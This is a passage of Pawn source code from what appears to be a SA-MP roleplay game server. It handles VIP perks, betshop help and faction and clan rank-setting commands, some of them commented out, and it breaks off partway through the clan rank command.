			if(car == 584 || car == 588 || car == 590 || car == 591 || car == 592 || car == 594 || car == 595) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if((car >= 596 && car < 600) || car == 601 || car == 606 || car == 607 || car == 608 || car == 610) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 611) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			// End
			if(1+GetVehiclePoolSize()>2000)return SCM(playerid,COLOR_YELLOW2,"Error: Nobody can create vehicle now.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color1;
			color1 = strval(tmp);
			if(color1 < 0 || color1 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vveh <ModelName/ID> <ColorID1> <ColorID2>");
			new color2;
			color2 = strval(tmp);
			if(color2 < 0 || color2 > 255) return SendMessage(playerid, COLOR_GG, "Color Number can't be below 0 or above 255");
			new Float:X,Float:Y,Float:Z,Float:angle;
			GetPlayerFacingAngle(playerid,angle);
			GetPlayerPos(playerid, X,Y,Z);
			new carid = CreateVehicle(car, X,Y,Z+1, angle, color1, color2, -1);
			SetVehicleNumberPlate(carid, "{FFFF00}VIP Veh");
			CreatedCars[CreatedCar] = carid;
			IsValidAVeh[CreatedCars[CreatedCar]] = true;
			CreatedCar ++;
			new xn[512];
			GetPlayerName(playerid, xn, sizeof(xn));
			//format(string, sizeof(string), "{FFFFFF}Vehicle %d spawned by %s.", carid, xn);
			//SendMessage(playerid, COLOR_AdminWarn, string);
			//AdminWarn(string);
			LinkVehicleToInterior(carid, GetPlayerInterior(playerid));
			SetVehicleVirtualWorld(carid, GetPlayerVirtualWorld(playerid));
			PutPlayerInVehicle(playerid, carid, 0);
			VehOwned[carid] = 2;
			VehOwner[carid] = playerid;
			vvehtimer[playerid] = 1;
		  UiOTimer[playerid] = SetTimerEx("vvehtime", 120000, 0, "d", playerid);
			return 1;
		}
		*/
		/*if(strcmp(cmd, "/vgoto", true) == 0)
		{
			if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /vgoto <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			GetPlayerPos(playerid, GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
			GoBack1[playerid][0] = GetPlayerInterior(playerid);
			GoBack1[playerid][1] = GetPlayerVirtualWorld(playerid);
			GoBack1[playerid][2] = Mahal[playerid];
			GoBack1[playerid][3] = TooHouse[playerid];
			GoBack1[playerid][4] = TooBiz[playerid];
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(user,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(user)) GetVehiclePos(GetPlayerVehicleID(user),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(playerid,GetPlayerVirtualWorld(user));
			SetPlayerInterior(playerid,GetPlayerInterior(user));
			Mahal[playerid] = Mahal[user];
			TooHouse[playerid] = TooHouse[user];
			TooBiz[playerid] = TooBiz[user];
			new admname[64];
			GetPlayerName(playerid, admname, sizeof(admname));
			new tarafn[40];
			GetPlayerName(user, tarafn, sizeof(tarafn));
			new toto[128];
			format(toto,sizeof(toto),"{C60000}vip %s goes to you",admname);
			new adm[114];
			format(adm, sizeof(adm), "{FFFFFF}vip %s goes to player %s.", admname, tarafn);
			AdminWarn(adm);
			SCM(user,COLOR_RED,toto);
			if(IsPlayerInAnyVehicle(playerid))
			{
				GetVehiclePos(GetPlayerVehicleID(playerid), GoBack[playerid][0], GoBack[playerid][1], GoBack[playerid][2]);
				SetVehiclePos(GetPlayerVehicleID(playerid),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(playerid),GetPlayerInterior(user));
				SetVehicleVirtualWorld(GetPlayerVehicleID(playerid), GetPlayerVirtualWorld(user));
				return 1;
			}
			SetPlayerPos(playerid,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		} */
		/*if(strcmp(cmd, "/vgethere", true) == 0 || strcmp(cmd, "/vtp", true) == 0)
		{
			if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");

			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /gethere <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_SINA3,"Player isn't connected.");
			if(PINFO[user][pAdmin] >= 7 && PINFO[playerid][pAdmin] <= 6) return SCM(playerid,COLOR_SINA3,"You cannot teleport a owner ask them to goto you.");
			new Float:PpX,Float:PpY,Float:PpZ;
			GetPlayerPos(playerid,PpX,PpY,PpZ);
			if(IsPlayerInAnyVehicle(playerid)) GetVehiclePos(GetPlayerVehicleID(playerid),PpX,PpY,PpZ);
			SetPlayerVirtualWorld(user,GetPlayerVirtualWorld(playerid));
			SetPlayerInterior(user,GetPlayerInterior(playerid));
			Mahal[user] = Mahal[playerid];
			TooHouse[user] = TooHouse[playerid];
			TooBiz[user] = TooBiz[playerid];
			new admnamee[64];
			GetPlayerName(playerid, admnamee, sizeof(admnamee));
			new strings[512];
			format(strings, sizeof(strings), "You have been teleported by %s",admnamee);
			SCM(user, COLOR_CRS4,strings);
			SCM(playerid,COLOR_CRS4,"Player teleported.");
			if(IsPlayerInAnyVehicle(user))
			{
				SetVehiclePos(GetPlayerVehicleID(user),PpX+0.5,PpY+0.5,PpZ);
				LinkVehicleToInterior(GetPlayerVehicleID(user),GetPlayerInterior(playerid));
				return 1;
			}
			SetPlayerPos(user,PpX+0.3,PpY+0.3,PpZ);
			return 1;
		} */
		if(strcmp(cmd, "/vfix", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pVip] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
					RepairVehicle(GetPlayerVehicleID(playerid));
					SendMessage(playerid, COLOR_LIGHTBLUE, "Vehicle Fixed.");
				}
			}
			return 1;
		}

		if(strcmp(cmd, "/Vnitro", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pVip] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
					AddVehicleComponent(GetPlayerVehicleID(playerid), 1010);
					SendMessage(playerid, COLOR_Good, "Vehicle nitro installed.");
				}
			}
			return 1;
		}

	if(strcmp(cmd, "/viphelp", true) == 0 || strcmp(cmd, "/vhelp", true) == 0)
	{
	if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
	SendClientMessage(playerid, COLOR_GRAD2, "______________________[VIP-HELP]__________________________");
	SendClientMessage(playerid, COLOR_GRAD2, "VIP: /vhp, /varmour, /vfix, /vnitro, /chatcolor, /gp, /ufo");
	return 1;
	}
	if(strcmp(cmd, "/betshophelp", true) == 0)
	{
	SendClientMessage(playerid, COLOR_GRAD2, "______________________[BETSHOP HELP]______________________");
	SendClientMessage(playerid, COLOR_GRAD2, "/bet, /betshopstatus");
	return 1;
	}
	if(strcmp(cmd, "/betshopstatus", true) == 0)
	{
	if(BetShopLock == 1) return SCM(playerid, COLOR_SINARANG, "The betshop is now {ff0000}closed{F5DEB3}.");
	if(BetShopLock == 0) return SCM(playerid, COLOR_SINARANG, "The betshop is now {00ff00}open{F5DEB3}.");
	return 1;
	}
	/*
	if(strcmp(cmd, "/premiumhelp", true) == 0 || strcmp(cmd, "/phelp", true) == 0)
	{
	if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't Premium account .");
	SendClientMessage(playerid, COLOR_GRAD2, "_____________________________________________________");
	SendClientMessage(playerid, COLOR_GRAD2, "Premium: /pfix");
	SendClientMessage(playerid, COLOR_GRAD2, "Premium: /pnitro");
	return 1;
	}
	*/
		/*if(strcmp(cmd, "/vdestroyveh", true) == 0 || strcmp(cmd, "/vdv", true) == 0)
		{
		if(PlayerInfo[playerid][pVip] == 0)
		 {
		 SCM(playerid,COLOR_GREEN,"Error: Your Not Vip.");
		 return 1;
		 }
		   if(!IsPlayerInAnyVehicle(playerid))
		   {
		   SCM(playerid,COL_SYN,"Error: You are not in a vehicle.");
		   return 1;
		   }
		  if(IsPlayerConnected(playerid))
		  {
		  GetPlayerName(playerid, sendername, sizeof(sendername));
		   new veh = GetPlayerVehicleID(playerid);
		   if(veh <= akharinvehicle)
		   {
		   SCM(playerid,COL_SYN,"This is a Static Vehicle.");
		   return 1;
		   }
		   if(OwnedMashin[veh] == 1)
		   {
		   SCM(playerid,COL_SYN,"This Vehicle is owned by another player, use /asellcar");
		   return 1;
		   }
		   GetVehicleParamsEx(veh,engine,lights,alarm,doors,bonnet,boot,objective);
							SetVehicleParamsEx(veh,VEHICLE_PARAMS_OFF,lights,alarm,doors,bonnet,boot,objective);
							EngineSTATE[veh] = 0;
							LightsSTATE[veh] = 0;
							bonnetSTATE[veh] = 0;
							bootSTATE[veh] = 0;
			VehOwned[veh] = 0;
			VehOwner[veh] = 9999;
		   DestroyVehicle(veh);
		   new striing[128];
		   format(striing, sizeof(striing), "[Admin-Warn]:{ffffff} Admin %s Just Destroy vehicleid %d.", sendername,veh);
		   ABroadCast(COLOR_AdminWarn,striing,1);
		   SCM(playerid,COLOR_WHITE,"Vehicle Destroyed.");
		   IsValidAVeh[veh] = false;
		   return 1;
		  }
		return 1;
		} */
	if(strcmp(cmd,"/vhp",true)==0)
	 {
	 if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
	 if(vhptimer[playerid]) return SendMessage(playerid, COLOR_CRS3, "Error: You must wait 1 minute to full your hp again.");
	 buyvipheal[playerid] = true;
	SetTimerEx("BUYVIPHEAL", 60000, false, "i", playerid);
	//SCM(playerid,COLOR_SINA3,"Wait 1 Miniutes For Heal Again");

	 if(IsPlayerConnected(playerid))
	//if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
	 SetPlayerKoon(true, playerid, 100);
	 SCM(playerid,COLOR_SINA3,"VIP: You have fulled your hp.");
	vhptimer[playerid] = 1;
	HPTimerZ[playerid] = SetTimerEx("vhptime", 60000, 0, "d", playerid);
	return 1;
	}
	if(strcmp(cmd,"/varmour",true)==0)
	 {
	 if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not VIP.");
	 if(vartimer[playerid]) return SendMessage(playerid, COLOR_CRS3, "Error: You must wait 20 seconds to full your armor again.");
	 buyviparmor[playerid] = true;
	SetTimerEx("BUYVIPARMOR", 60000, false, "i", playerid);
	 if(IsPlayerConnected(playerid))
	 //if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
	 SetPlayerZereh(playerid,100);
	 SCM(playerid,COLOR_SINA3,"VIP: You have fulled your armor.");
	vartimer[playerid] = 1;
	ArTimerZ[playerid] = SetTimerEx("vartime", 20000, 0, "d", playerid);
	return 1;
	}
//-------------------------------------------------[END]----------------------------------------------------------
		/*if(strcmp(cmd, "/setreferral", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setreferral <Playerid/PartOfName> <Referral>");
					return 1;
				}
				new user = ReturnUser6(tmp);
				new para1;
				new ref;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				ref = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 12)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
						if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use [Referral-System] to your higher admins.");
						SearchAReferral(playerid, ref);
						RefD[playerid] = para1;
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}*/
		///st
		/*
		if(strcmp(cmd, "/stt", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Stt <Playerid/PartOfName> <Skin Id>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if(level > 90 || level < 1) { SendMessage(playerid, COLOR_GREY, "Wrong skin ID!"); return 1; }
				if (PlayerInfo[playerid][pAdmin] >= 2)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(IsInFaction(para1)) { PlayerInfo[para1][fSkin] = level; SaveKonVal(para1, "fSkin", level); }
							else { PlayerInfo[para1][cSkin] = level; SaveKonVal(para1, "cSkin", level); }
							format(string, sizeof(string), "Your skin has been changed by Admin %s", sendername);
							SendMessage(para1, COLOR_WHITE, string);
							format(string, sizeof(string), "You have given %s skin to %d.", giveplayer,level);

							new AdmWar[150];
							format(AdmWar, 150, "{FFFFFF}Admin %s sets %s's skin to %d.", sendername,giveplayer,level);
							AdminWarn(AdmWar);

							SendMessage(playerid, COLOR_WHITE, string);
							if(IsInFaction(para1)) { SetPlayerSkin(para1, PlayerInfo[para1][fSkin]);}
							else { SetPlayerSkin(para1, PINFO[para1][cSkin]); }
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		} */
/*
if(strcmp(cmd, "/adminsetrank", true) == 0 || strcmp(cmd, "/asetrank", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
//				if(PINFO[playerid][pLeader] == 21) return SendMessage(playerid, COLOR_YELLOW, "Only other leaders can use this command.");
//				if (PlayerInfo[playerid][pLeader] >= 1 || (PINFO[playerid][pMember] > 0 && PINFO[playerid][pRank] >= 6))
				{
					new lool;
					if(PINFO[playerid][pLeader] != 0) lool = PINFO[playerid][pLeader];
					if(PINFO[playerid][pMember] != 0) lool = PINFO[playerid][pMember];
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /AdminSetRank <Playerid/PartOfName> <Number(1-6)>");
						return 1;
					}
					new para1;
					new level;
					para1 = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					level = strval(tmp);
//					if(level > 6 || level < 1) { SendMessage(playerid, COLOR_GREY, "Dont go below number 1, or above number 6"); return 1; }
//					if(para1 == playerid)
//					{
//					SCM(playerid,COLOR_SINA3,"You cannot setrank your self.");
//					return 1;
//					}
						if(IsPlayerConnected(para1))
						{
							if(para1 != INVALID_PLAYER_ID)
							{
//								if(PINFO[para1][pLeader] != 0) return SCM(playerid,COLOR_SINA3,"You can't set a rank a leader.");
//								if(PINFO[para1][pMember] != lool) return SCM(playerid,COLOR_SINA3,"That player isn't in your faction.");
								GetPlayerName(para1, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								PlayerInfo[para1][pRank] = level;
								SaveKonVal(para1, "pRank", level);
								FTest[para1] = 0;
								PhoneOnline[para1] = 1;
								HidePM[para1] = 0;
								format(string, sizeof(string), "You have been promoted to %d Rank by Admin %s",PlayerInfo[para1][pRank], sendername);
								SendMessage(para1, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "You have given %s rank %d now he/she has %d rank.", giveplayer,level,PlayerInfo[para1][pRank]);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								if(PINFO[playerid][pLeader] < 17) {
								if(PlayerInfo[para1][pMember] == 1) { ChosenSkin[para1] = 71; SetPlayerSkin(para1, 71); }
								else if(PlayerInfo[para1][pMember] == 2) { ChosenSkin[para1] = 166; SetPlayerSkin(para1, 166); }
								else if(PlayerInfo[para1][pMember] == 3) { ChosenSkin[para1] = 385; SetPlayerSkin(para1, 385); }
								else if(PlayerInfo[para1][pMember] == 4) { ChosenSkin[para1] = 274; SetPlayerSkin(para1, 274); }
								else if(PlayerInfo[para1][pMember] == 5) { ChosenSkin[para1] = 121; SetPlayerSkin(para1, 121); }
								else if(PlayerInfo[para1][pMember] == 6) { ChosenSkin[para1] = 188; SetPlayerSkin(para1, 188); }
								else if(PlayerInfo[para1][pMember] == 8 ) { ChosenSkin[para1] = 186; SetPlayerSkin(para1, 186); }
								else if(PlayerInfo[para1][pMember] == 9) { ChosenSkin[para1] = 188; SetPlayerSkin(para1, 188); }
								else if(PlayerInfo[para1][pMember] == 10) { ChosenSkin[para1] = 255; SetPlayerSkin(para1, 255); }
								else if(PlayerInfo[para1][pMember] == 11) { ChosenSkin[para1] = 153; SetPlayerSkin(para1, 153); }
								else if(PlayerInfo[para1][pMember] == 12) { ChosenSkin[para1] = 106; SetPlayerSkin(para1, 106); }
								else if(PlayerInfo[para1][pMember] == 13) { ChosenSkin[para1] = 122; SetPlayerSkin(para1, 122); }
								else if(PlayerInfo[para1][pMember] == 14) { ChosenSkin[para1] = 102; SetPlayerSkin(para1, 102); }
								else if(PlayerInfo[para1][pMember] == 15) { ChosenSkin[para1] = 173; SetPlayerSkin(para1, 173); }
								else if(PlayerInfo[para1][pMember] == 16) { ChosenSkin[para1] = 8; SetPlayerSkin(para1, 8); }

								SetPlayerInterior(para1,0);
								new rand = random(sizeof(gInviteSpawns));
								SetPlayerPos(para1, gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]); // Warp the player
								Mahal[para1] = 9999;
								TooHouse[para1] = 9999;
								TooBiz[para1] = 9999;
								SetPlayerFacingAngle(para1, gInviteSpawns[rand][3]);
								SetPlayerCameraPos(para1,gInviteSpawns[rand][0] + 3, gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								SetPlayerCameraLookAt(para1,gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								TogglePlayerControllable(para1, 0);
								SelectCharID[para1] = PlayerInfo[para1][pMember];
								SelectCharPlace[para1] = 1;
								PlayerInfo[para1][fSkin] = ChosenSkin[para1];
								SaveKonVal(para1, "fSkin", ChosenSkin[para1]);
								ShowPlayerDialog(para1, 427, DIALOG_STYLE_MSGBOX,"Clothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");
								TogglePlayerControllable(para1, 1);
								}

								new strinxg[256];
								new dd,mm,yy;
								new ore,mn,sec;
								getdate(dd,mm,yy);
								gettime(ore,mn,sec);
								format(strinxg,sizeof(strinxg), "%s%d/%s%d/%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yy < 10) ? ("0") : (""),yy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);
								new query[512];
								mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='%e' WHERE pName='%e'",strinxg,PINFO[para1][pName]);
								mysql_tquery(handle, query, "SendQuery", "");

								//PlayerInfo[para1][fSkin] = ChosenSkin[para1];
								//SaveKonVal(para1, "fSkin", ChosenSkin[para1]);
								//ShowPlayerDialog(para1, 427, DIALOG_STYLE_MSGBOX,"Chlothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");

								new rank[128];
								format(rank, sizeof(rank), "Got rank %d.", level);
								new Memberx[64];
								if(PlayerInfo[playerid][pLeader] == 0) {
								format(Memberx, sizeof(Memberx), "%d",PlayerInfo[playerid][pMember]);
								}
								else {
								format(Memberx, sizeof(Memberx), "%d",PlayerInfo[playerid][pLeader]);
								}
								new reas[70];
								format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

								AddLog(PINFO[para1][pName], Memberx, rank, reas, 5);

							}
						}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}
		*/
	//----------------------------------[GIVERANK]------------------------------------------------
		if(strcmp(cmd, "/setrank", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				if (PlayerInfo[playerid][pLeader] >= 1 || (PINFO[playerid][pMember] > 0 && PINFO[playerid][pRank] >= 6))
				{
					new lool;
					if(PINFO[playerid][pLeader] != 0) lool = PINFO[playerid][pLeader];
					if(PINFO[playerid][pMember] != 0) lool = PINFO[playerid][pMember];
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Setrank <Playerid/PartOfName> <Number(1-6)>");
						return 1;
					}
					new para1;
					new level;
					para1 = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					level = strval(tmp);
					if (PlayerInfo[playerid][pLeader] >= 1)
				   {
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					SendClientMessage(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't setrank any players because you are hoster.");
					return 1;
			}
	   }
					if(level > 6 || level < 1) { SendMessage(playerid, COLOR_GREY, "Dont go below number 1, or above number 6"); return 1; }
					if(para1 == playerid)
					{
					SCM(playerid,COLOR_SINA3,"You cannot setrank your self.");
					return 1;
					}
						if(IsPlayerConnected(para1))
						{
							if(para1 != INVALID_PLAYER_ID)
							{
						  if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
								if(PINFO[para1][pLeader] != 0) return SCM(playerid,COLOR_SINA3,"You can't set a rank a leader.");
								if(PINFO[para1][pMember] != lool) return SCM(playerid,COLOR_SINA3,"That player isn't in your faction.");
								GetPlayerName(para1, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								PlayerInfo[para1][pRank] = level;
								SaveKonVal(para1, "pRank", level);
								//FTest[para1] = 0;
								PhoneOnline[para1] = 1;
								HidePM[para1] = 0;
								format(string, sizeof(string), "You have been promoted to %d Rank by Leader %s",PlayerInfo[para1][pRank], sendername);
								SendMessage(para1, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "You given %s rank %d.", giveplayer,level);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);
								//if(PINFO[playerid][pLeader] < 17) {
								/*
								if(PlayerInfo[para1][pMember] == 1) { ChosenSkin[para1] = 71; SetPlayerSkin(para1, 71); }
								else if(PlayerInfo[para1][pMember] == 2) { ChosenSkin[para1] = 166; SetPlayerSkin(para1, 166); }
								else if(PlayerInfo[para1][pMember] == 3) { ChosenSkin[para1] = 385; SetPlayerSkin(para1, 385); }
								else if(PlayerInfo[para1][pMember] == 4) { ChosenSkin[para1] = 274; SetPlayerSkin(para1, 274); }
								else if(PlayerInfo[para1][pMember] == 5) { ChosenSkin[para1] = 121; SetPlayerSkin(para1, 121); }
								else if(PlayerInfo[para1][pMember] == 6) { ChosenSkin[para1] = 188; SetPlayerSkin(para1, 188); }
								else if(PlayerInfo[para1][pMember] == 8 ) { ChosenSkin[para1] = 186; SetPlayerSkin(para1, 186); }
								else if(PlayerInfo[para1][pMember] == 9) { ChosenSkin[para1] = 188; SetPlayerSkin(para1, 188); }
								else if(PlayerInfo[para1][pMember] == 10) { ChosenSkin[para1] = 255; SetPlayerSkin(para1, 255); }
								else if(PlayerInfo[para1][pMember] == 11) { ChosenSkin[para1] = 153; SetPlayerSkin(para1, 153); }
								else if(PlayerInfo[para1][pMember] == 12) { ChosenSkin[para1] = 106; SetPlayerSkin(para1, 106); }
								else if(PlayerInfo[para1][pMember] == 13) { ChosenSkin[para1] = 122; SetPlayerSkin(para1, 122); }
								else if(PlayerInfo[para1][pMember] == 14) { ChosenSkin[para1] = 102; SetPlayerSkin(para1, 102); }
								else if(PlayerInfo[para1][pMember] == 15) { ChosenSkin[para1] = 173; SetPlayerSkin(para1, 173); }
								else if(PlayerInfo[para1][pMember] == 16) { ChosenSkin[para1] = 8; SetPlayerSkin(para1, 8); }

								SetPlayerInterior(para1,0);
								new rand = random(sizeof(gInviteSpawns));
								SetPlayerPos(para1, gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]); // Warp the player
								Mahal[para1] = 9999;
								TooHouse[para1] = 9999;
								TooBiz[para1] = 9999;
								SetPlayerFacingAngle(para1, gInviteSpawns[rand][3]);
								SetPlayerCameraPos(para1,gInviteSpawns[rand][0] + 3, gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								SetPlayerCameraLookAt(para1,gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								TogglePlayerControllable(para1, 0);
								SelectCharID[para1] = PlayerInfo[para1][pMember];
								SelectCharPlace[para1] = 1;
								PlayerInfo[para1][fSkin] = ChosenSkin[para1];
								SaveKonVal(para1, "fSkin", ChosenSkin[para1]);
								ShowPlayerDialog(para1, 427, DIALOG_STYLE_MSGBOX,"Clothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");
								TogglePlayerControllable(para1, 1);
								*/
								//}

								new strinxg[256];
								new dd,mm,yyyy;
								new ore,mn,sec;
								getdate(dd,mm,yyyy);
								gettime(ore,mn,sec);
								format(strinxg,sizeof(strinxg), "%s%d/%s%d/%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);
								new query[512];
								mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='%e' WHERE pName='%e'",strinxg,PINFO[para1][pName]);
								mysql_tquery(handle, query, "SendQuery", "");

								//PlayerInfo[para1][fSkin] = ChosenSkin[para1];
								//SaveKonVal(para1, "fSkin", ChosenSkin[para1]);
								//ShowPlayerDialog(para1, 427, DIALOG_STYLE_MSGBOX,"Chlothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");

								new rank[128];
								format(rank, sizeof(rank), "Got rank %d.", level);
								new Memberx[64];
								if(PlayerInfo[playerid][pLeader] == 0) {
								format(Memberx, sizeof(Memberx), "%d",PlayerInfo[playerid][pMember]);
								}
								else {
								format(Memberx, sizeof(Memberx), "%d",PlayerInfo[playerid][pLeader]);
								}
								new reas[70];
								format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

								AddLog(PINFO[para1][pName], Memberx, rank, reas, 5);

							}
						}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}


	// Clan SetRank
		/*if(strcmp(cmd, "/ghhh", true) == 0)
		{
		new Float:health,Float:health2;
		new formatx[512];
		GetPlayerHealth(playerid, health);
		GetPlayerKoon(playerid, health2);
		format(formatx, sizeof(formatx), "%f %f",health,health2);
		SCM(playerid, COLOR_RED, formatx);
		return 1;
		}*/
		if(strcmp(cmd, "/csetrank", true) == 0 || strcmp(cmd, "/clansetrank", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if (PINFO[playerid][pcRank] >= 6)
				{
					new lool;
					if(PINFO[playerid][pClan] != 0) lool = PINFO[playerid][pClan];
					tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Clansetrank <Playerid/PartOfName> <Number(1-5)>");
						return 1;
					}
					new para1;
					new level;
					para1 = ReturnUser6(tmp);
					tmp = strtok(cmdtext, idx);
					level = strval(tmp);
					if(level > 5 || level < 1) { SendMessage(playerid, COLOR_GREY, "Dont go below number 1, or above number 5"); return 1; }
					if(para1 == playerid)
					{
					SCM(playerid,COLOR_SINA3,"You cannot setrank your self.");
					return 1;
					}
						if(IsPlayerConnected(para1))
						{
							if(para1 != INVALID_PLAYER_ID)
							{
								lool = PlayerInfo[playerid][pClan];
								if(PINFO[para1][pcRank] >= 7) return SCM(playerid,COLOR_SINA3,"You can't set a rank a leader.");
								if(PINFO[para1][pClan] != lool) return SCM(playerid,COLOR_SINA3,"That player isn't in your faction.");
								GetPlayerName(para1, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								PlayerInfo[para1][pcRank] = level;
								SaveKonVal(para1, "pcRank", level);
								format(string, sizeof(string), "You have been promoted to %d Rank by Leader %s",PlayerInfo[para1][pcRank], sendername);
								SendMessage(para1, COLOR_LIGHTBLUE, string);
								format(string, sizeof(string), "You given %s Rank %d.", giveplayer,level);
								SendMessage(playerid, COLOR_LIGHTBLUE, string);

								new rank[128];
								format(rank, sizeof(rank), "Got rank %d", level);
								new Member[64];
